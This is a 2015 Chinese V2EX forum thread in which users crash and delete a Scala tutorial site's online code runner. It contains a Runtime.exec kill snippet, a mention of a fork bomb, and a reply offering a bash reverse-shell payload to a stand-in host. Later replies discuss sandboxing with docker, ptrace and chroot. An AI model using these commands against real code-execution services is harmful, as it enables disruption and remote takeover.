V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
hellomsg
V2EX  ›  Java

网站在线运行代码

  •  1
     
  •   hellomsg · 2015-06-04 22:58:19 +08:00 · 12041 次点击
    这是一个创建于 3488 天前的主题,其中的信息可能已经有所发展或是发生改变。

    http://zh.scala-tour.com/ 这样的网站,他们的代码直接在服务器上运行然后返还结果吗?还是在什么沙箱或虚拟机里运行。

    如果在服务器上运行,是不是我在他的代码框里执行以下代码就可以把它的进程给杀了。。。
    val rt:Runtime = Runtime.getRuntime();
    val p:Process = rt.exec("kill n");

    第 1 条附言  ·  2015-06-05 18:20:22 +08:00
    博主已经现身,我也收到他的邮件回复了,我希望大家不要随便搞他的网站了。他的scala教程我正在看,别删了额,我在学习
    怎奈何没办法删帖
    108 条回复    2017-05-22 17:57:14 +08:00
    1  2  
    Livid
        1
    Livid  
    MOD
       2015-06-04 23:05:05 +08:00   ❤️ 3
    那你就在框里尝试一下各种可能性就知道了。
    oisc
        2
    oisc  
       2015-06-04 23:06:34 +08:00
    楼主你做了什么。。。。。 网站进不去了。。。。
    lujiajing1126
        3
    lujiajing1126  
       2015-06-04 23:07:47 +08:00
    Application Error
    An error occurred in the application and your page could not be served. Please try again in a few moments.

    If you are the application owner, check your logs for details.

    LZ你干了什么。。。
    hellomsg
        4
    hellomsg  
    OP
       2015-06-04 23:10:16 +08:00   ❤️ 2
    谁知道真这样
    hellomsg
        5
    hellomsg  
    OP
       2015-06-04 23:10:51 +08:00
    @Livid
    你让我屎的。。。
    isaced
        6
    isaced  
       2015-06-04 23:11:11 +08:00
    真的吗?
    hellomsg
        7
    hellomsg  
    OP
       2015-06-04 23:11:57 +08:00
    @lujiajing1126
    @oisc
    这下完了,咋办
    Livid
        8
    Livid  
    MOD
       2015-06-04 23:13:10 +08:00
    @hellomsg ……你可以写信告诉他们这个漏洞……
    zrp1994
        9
    zrp1994  
       2015-06-04 23:13:16 +08:00
    楼主好样的
    lujiajing1126
        10
    lujiajing1126  
       2015-06-04 23:14:53 +08:00
    @hellomsg 查下域名是谁的。。然后写个Email。。。
    oisc
        11
    oisc  
       2015-06-04 23:15:10 +08:00
    @hellomsg 细软跑吧 ~~~~ 或者报告漏洞说不定还有奖励
    x4
        12
    x4  
       2015-06-04 23:15:25 +08:00 via Android
    楼主怎么可以这样。。。。
    ezreal
        13
    ezreal  
       2015-06-04 23:15:37 +08:00
    docker
    hellomsg
        14
    hellomsg  
    OP
       2015-06-04 23:17:55 +08:00
    @ezreal
    mytharcher
        15
    mytharcher  
       2015-06-04 23:19:35 +08:00
    是 heroku 上的,估计是没有捕获异常,然后 app 进程就挂了。
    hellomsg
        16
    hellomsg  
    OP
       2015-06-04 23:21:17 +08:00
    一失足成千古恨,怎么办,蹲监狱吗
    razrlele
        17
    razrlele  
       2015-06-04 23:27:34 +08:00 via Android
    简直6
    xiaozi
        18
    xiaozi  
       2015-06-04 23:30:42 +08:00
    docker 做沙箱,http://tool.lu/coderunner/ 欢迎测试
    vjnjc
        19
    vjnjc  
       2015-06-04 23:46:45 +08:00
    现在能进了啊,我还贴了楼主的代码然而没有什么鸟用
    hellomsg
        20
    hellomsg  
    OP
       2015-06-04 23:49:46 +08:00
    @vjnjc 看来我自作了,哈哈
    molinxx
        21
    molinxx  
       2015-06-04 23:53:07 +08:00 via iPhone
    这类网站有不少,有问题的也不少,我记得有个T字母开头的,可以执行那个Fork炸弹,已经发邮件通知官方了,貌似仍未处理…
    hellomsg
        22
    hellomsg  
    OP
       2015-06-04 23:54:06 +08:00
    @xiaozi 这个不错,每个会话一个沙箱吧?最多能开多少个沙箱?
    oott123
        23
    oott123  
       2015-06-05 00:19:10 +08:00 via Android
    哈哈哈哈哈今日最佳
    shawnxwang
        24
    shawnxwang  
       2015-06-05 00:20:17 +08:00 via iPhone
    楼主你太棒了…
    wilsonxyz
        25
    wilsonxyz  
       2015-06-05 01:09:38 +08:00
    查询了一下WHOIS,是中国人呢,发封邮件提醒下吧。

    http://www.xz.com/domain/whois?domain=SCALA-TOUR.COM
    Jafee
        26
    Jafee  
       2015-06-05 01:21:16 +08:00 via Android
    哈哈哈!
    cnnblike
        27
    cnnblike  
       2015-06-05 01:21:19 +08:00
    哈哈哈哈哈哈,楼主好萌啊
    ligyxy
        28
    ligyxy  
       2015-06-05 01:22:35 +08:00
    从第二楼开始就忍不住笑了
    iyaozhen
        29
    iyaozhen  
       2015-06-05 01:39:18 +08:00 via Android
    @ligyxy 看到帖子的回复数和一楼L大的“怂恿”,我就感觉要出事。
    fuge
        30
    fuge  
       2015-06-05 06:09:26 +08:00 via iPhone
    哈哈哈哈哈哈 笑尿了
    virusdefender
        31
    virusdefender  
       2015-06-05 06:59:28 +08:00
    @xiaozi 你是怎么加固的docker呢?最近在做oj的判题,发现docker默认的配置还是有安全风险的。
    hellomsg
        32
    hellomsg  
    OP
       2015-06-05 07:31:01 +08:00 via iPad
    @wilsonxyz 发了,微博都给私信了,没有回应
    Hyperion
        33
    Hyperion  
       2015-06-05 07:41:55 +08:00 via Android
    @hellomsg 又不是破坏数据,咳咳。当事人一定会原谅你的。
    wy315700
        34
    wy315700  
       2015-06-05 07:47:50 +08:00   ❤️ 1
    @virusdefender oj的判题,ptrace禁止标准输入输出外的系统调用就没问题了吧,我们以前的OJ工作了好多年了。。。
    hellomsg
        36
    hellomsg  
    OP
       2015-06-05 08:06:30 +08:00
    hellomsg
        37
    hellomsg  
    OP
       2015-06-05 08:07:58 +08:00
    @hellomsg 涨姿势了
    @wy315700
    virusdefender
        38
    virusdefender  
       2015-06-05 08:26:38 +08:00
    @wy315700 ptrace对性能影响有些大呢
    wy315700
        39
    wy315700  
       2015-06-05 08:35:07 +08:00
    @virusdefender

    不ptrace你怎么获取程序的 :“执行时间”,“使用内存”,怎么在程序超时的时候kill掉。
    其实对性能影响不怎么样,因为真正在OJ里跑的,基本上系统调用很少,触发的也少。

    当然,还有一些攻击,比如 "include攻击"需要额外注意一下。。。
    virusdefender
        40
    virusdefender  
       2015-06-05 08:52:02 +08:00
    @wy315700 执行时间现在就按照实际运行时间计算的,不是cpu time,内存是通过/proc/pid/xxx获取的

    嗯~谢谢你了
    wy315700
        41
    wy315700  
       2015-06-05 08:57:36 +08:00
    @virusdefender
    会有问题的,机器负载大的时候,而且如果不进行实时监控,MLE和OLE会挤爆的。

    ICPC现场一般都是PC2,也没什么安全防护,结果当初我们比赛的时候有个人提交了这么个代码:

    while(1) fork();

    然后,,,,,
    denghongcai
        42
    denghongcai  
       2015-06-05 09:15:30 +08:00
    我勒个去……还真崩了……

    docker沙箱只要不给sudo权限,不给root,不挂载外部文件系统还是安全的
    主要是要限制docker的资源使用和CPU时间
    cjyang1128
        43
    cjyang1128  
       2015-06-05 10:27:59 +08:00
    @cnnblike 惊现柯神
    HowardMei
        44
    HowardMei  
       2015-06-05 10:49:49 +08:00
    笑死了,哈哈,楼主经不起诱惑啊,名人一劝,就把节操给丢了
    qqjt
        45
    qqjt  
       2015-06-05 11:17:55 +08:00
    ……我服
    zythum
        46
    zythum  
       2015-06-05 11:19:50 +08:00
    今日最佳
    qsz13
        47
    qsz13  
       2015-06-05 11:21:55 +08:00
    刚刚试了下rm...现在好像又不能访问了,我是不是该给作者写邮件道歉了
    learnshare
        48
    learnshare  
       2015-06-05 11:31:55 +08:00
    Good Job !
    shiniv
        49
    shiniv  
       2015-06-05 11:35:09 +08:00
    现在404了....
    houfukude
        50
    houfukude  
       2015-06-05 11:38:11 +08:00
    噗 果然404了 你们这群坏人!
    xustrive
        51
    xustrive  
       2015-06-05 11:38:27 +08:00
    @qsz13 好像真的被删除了额
    hellomsg
        52
    hellomsg  
    OP
       2015-06-05 11:41:24 +08:00
    @qsz13 你完蛋了,你比我还狠
    lincanbin
        53
    lincanbin  
       2015-06-05 11:41:37 +08:00
    @qsz13 你玩过头了。
    qsz13
        54
    qsz13  
       2015-06-05 11:42:08 +08:00
    @xustrive 我真的错了 已经发邮件道歉了 >.<
    subpo
        55
    subpo  
       2015-06-05 11:46:35 +08:00
    火钳刘明!
    secondwtq
        56
    secondwtq  
       2015-06-05 11:53:19 +08:00
    最近也在做这个东西...

    说来我一个 ACM 渣,怎么就做起了 OJ 呢...
    YORYOR
        57
    YORYOR  
       2015-06-05 11:57:09 +08:00   ❤️ 1
    你们玩大了 我就是那个站长!
    shiniv
        58
    shiniv  
       2015-06-05 12:36:46 +08:00
    @YORYOR 233
    hellomsg
        59
    hellomsg  
    OP
       2015-06-05 12:48:52 +08:00
    @qsz13 我手机端还可以访问,但是电脑端报404
    jsq2627
        60
    jsq2627  
       2015-06-05 12:57:11 +08:00
    @hellomsg 浏览器缓存吧
    Syaoran
        61
    Syaoran  
       2015-06-05 12:59:55 +08:00 via iPhone
    这就404了,如果站长没备份怎么办……
    hellov22ex
        62
    hellov22ex  
       2015-06-05 13:00:57 +08:00
    玩大了,已经404了
    liujiantao
        63
    liujiantao  
       2015-06-05 13:09:13 +08:00 via Android
    这也是得怪作者不加以限制,kill可以执行,rm都可以。。。
    lazycat
        64
    lazycat  
       2015-06-05 13:12:57 +08:00
    卧槽这个有点厉害。。。笑死我了哈哈哈哈
    momou
        65
    momou  
       2015-06-05 13:26:14 +08:00
    赔我午饭!!!
    lrqrun
        66
    lrqrun  
       2015-06-05 13:27:34 +08:00
    哈哈,作者要找你拼命了
    chinabrowser
        67
    chinabrowser  
       2015-06-05 13:32:02 +08:00 via Android
    陪我早餐Σ(っ °Д °;)っ
    qihboy
        68
    qihboy  
       2015-06-05 13:37:31 +08:00
    23333333333....
    tzwm
        69
    tzwm  
       2015-06-05 13:47:54 +08:00
    @qsz13 刚想进去玩玩,你就先给玩坏了……-_-!
    LedChang
        70
    LedChang  
       2015-06-05 13:59:16 +08:00
    @qsz13 = =!
    RIcter
        71
    RIcter  
       2015-06-05 14:00:57 +08:00
    来,给你们几个 payload:

    反弹 shell 到 xxxx.com 的 8888 端口:
    bash -i >& /dev/tcp/xxxx.com/8888 0>&1
    hellomsg
        72
    hellomsg  
    OP
       2015-06-05 14:56:38 +08:00
    @jsq2627 不是缓存。我手机联通的,估计有两个或更多容器在跑,电信一个、联通一个。。。。猜的
    duteng612
        73
    duteng612  
       2015-06-05 15:17:46 +08:00
    使用chroot(http://www.tutorialspoint.com/unix_system_calls/chroot.html),修改root dictionary;这一步骤可以保证你的服务器安全;然后再当前目录下配置运行环境(解释型和编译型的语言有些差异),不同语言也需要做一些不同的处理,之后使用ptrace跟踪运行程序;
    KayYan
        74
    KayYan  
       2015-06-05 15:52:31 +08:00
    @hellomsg 我才是真正的作者。
    当初做的时候,考虑这个问题。觉得坑很大,就决定不自己处理,让Heroku帮我搞。现在看样子Heroku也靠不住。挑个吉时上DaoCloud吧。
    giuem
        75
    giuem  
       2015-06-05 15:57:43 +08:00
    @KayYan 23333
    hellomsg
        76
    hellomsg  
    OP
       2015-06-05 16:52:57 +08:00
    @KayYan
    @giuem
    看名字确实是你。
    @qsz13 快来快来,当事人来了
    hellomsg
        77
    hellomsg  
    OP
       2015-06-05 17:46:16 +08:00
    @KayYan 你应该是部署了好几个吧?我的手机还可以访问,电脑端访问不了了
    KayYan
        78
    KayYan  
       2015-06-05 17:49:54 +08:00
    @hellomsg 我重启过了。电脑访问不了了可能是因为网络的原因(翻墙可能访问不了)。
    Mrxx
        79
    Mrxx  
       2015-06-05 17:58:25 +08:00
    "框里尝试一下" 不能更清晰
    asj
        80
    asj  
       2015-06-05 18:25:48 +08:00
    cdlnls
        81
    cdlnls  
       2015-06-05 18:47:45 +08:00
    qsz13
        82
    qsz13  
       2015-06-05 18:55:37 +08:00
    @KayYan 实在抱歉啊,我当时没想到真的会被删掉
    KayYan
        83
    KayYan  
       2015-06-05 19:00:06 +08:00
    @qsz13 没关系的。我有监控可以看,出了问题就重启。这些年就是这么过来的。T_T
    fwee
        84
    fwee  
       2015-06-05 19:15:20 +08:00   ❤️ 1
    @KayYan 参与过他们内测 部署个应用后还拿了件衣服 (这里赞下Daocloud, 服务和T恤都很赞..),国内访问速度要比heroku好 强烈推荐

    等作者上了Daocloud后去kill下试试..看能不能再骗件衣服..
    wph95
        85
    wph95  
       2015-06-05 19:33:15 +08:00 via iPhone   ❤️ 2
    CodeVS.cn
    1个OJ
    用户把代码扔到我们平台上评测…
    用ptrace做沙盒的……时间损耗太大了
    daocloud
        86
    daocloud  
       2015-06-05 20:51:34 +08:00
    他是
    曾经的软院大神
    今日DaoCloud的主架构师
    人称开叔的 @KayYan

    多年前的Scala神作,在V2EX上被躺枪
    Heroku靠不住,DoCloud玩不坏
    开叔轻轻的敲下重大决策按钮
    Docker Run,从此不再404

    ~DaoCloud祝V2EX网友周末愉快~
    sakeven
        87
    sakeven  
       2015-06-05 21:28:49 +08:00   ❤️ 1
    @virusdefender 我们使用ptrace做的,目前大部分oj的判题实现也是这个,禁止某些系统调用,限制堆栈、运行时间、内存等。可以看看我们的 <a href="https://github.com/ZJGSU-Open-Source/RunServer/tree/master/Cjudger"> ZJGSU </a>
    est
        88
    est  
       2015-06-05 23:22:23 +08:00
    @KayYan V2EX 第 120720 号会员,加入于 2015-06-05 13:46:27 +08:00,今日活跃度排名 1507
    est
        89
    est  
       2015-06-05 23:23:16 +08:00
    @daocloud 如果这贴是你们的广告,那就是神作了。
    wy315700
        90
    wy315700  
       2015-06-05 23:25:51 +08:00
    @est 肯定是看到帖子注册的。。。


    @sakeven
    话说你们的代码和HUST的好像,,,
    搭车也放一下我们Ecust的OJ系统
    https://github.com/wy315700/ecustoj/tree/master/JudgeCore1

    @virusdefender
    hellomsg
        91
    hellomsg  
    OP
       2015-06-05 23:42:48 +08:00
    @est 我也怀疑,他在邮件回复里只说正琢磨要Docker化,没提什么daocloud
    daocloud
        92
    daocloud  
       2015-06-05 23:51:15 +08:00
    @est 注册不嫌早晚,活跃无需排名,talk is cheap, show me the code.
    hellomsg
        93
    hellomsg  
    OP
       2015-06-05 23:52:09 +08:00
    @est 不过,如果这帖子真是广告,那
    @daocloud 的回复就是画蛇添足了,神作也被他给毁了。我正在邮件询问那个新号是不是站长的
    sakeven
        94
    sakeven  
       2015-06-06 00:13:30 +08:00
    @wy315700 确实是用hust开源代码重构的,我们保留了代码原有的Copyright声明。
    flowfire
        95
    flowfire  
       2015-06-06 00:27:23 +08:00
    今日最佳2333333
    gooffer
        96
    gooffer  
       2015-06-06 11:32:42 +08:00
    @virusdefender 什么风险-,-
    gooffer
        97
    gooffer  
       2015-06-06 11:36:39 +08:00
    @wph95 ptrace挺好的
    comzyh
        98
    comzyh  
       2015-06-06 11:42:21 +08:00 via Android
    炸出一片做OJ的
    nowcoder
        99
    nowcoder  
       2015-06-06 11:44:41 +08:00
    神人太多,好担忧牛客网的OJ -,-
    wizardforcel
        100
    wizardforcel  
       2015-06-06 14:17:52 +08:00
    肯定是直接跑服务器的。

    在沙箱里面应该是这个样子: http://3v4l.org/S8T4b
    1  2  
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2738 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 30ms · UTC 08:05 · PVG 16:05 · LAX 00:05 · JFK 03:05
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.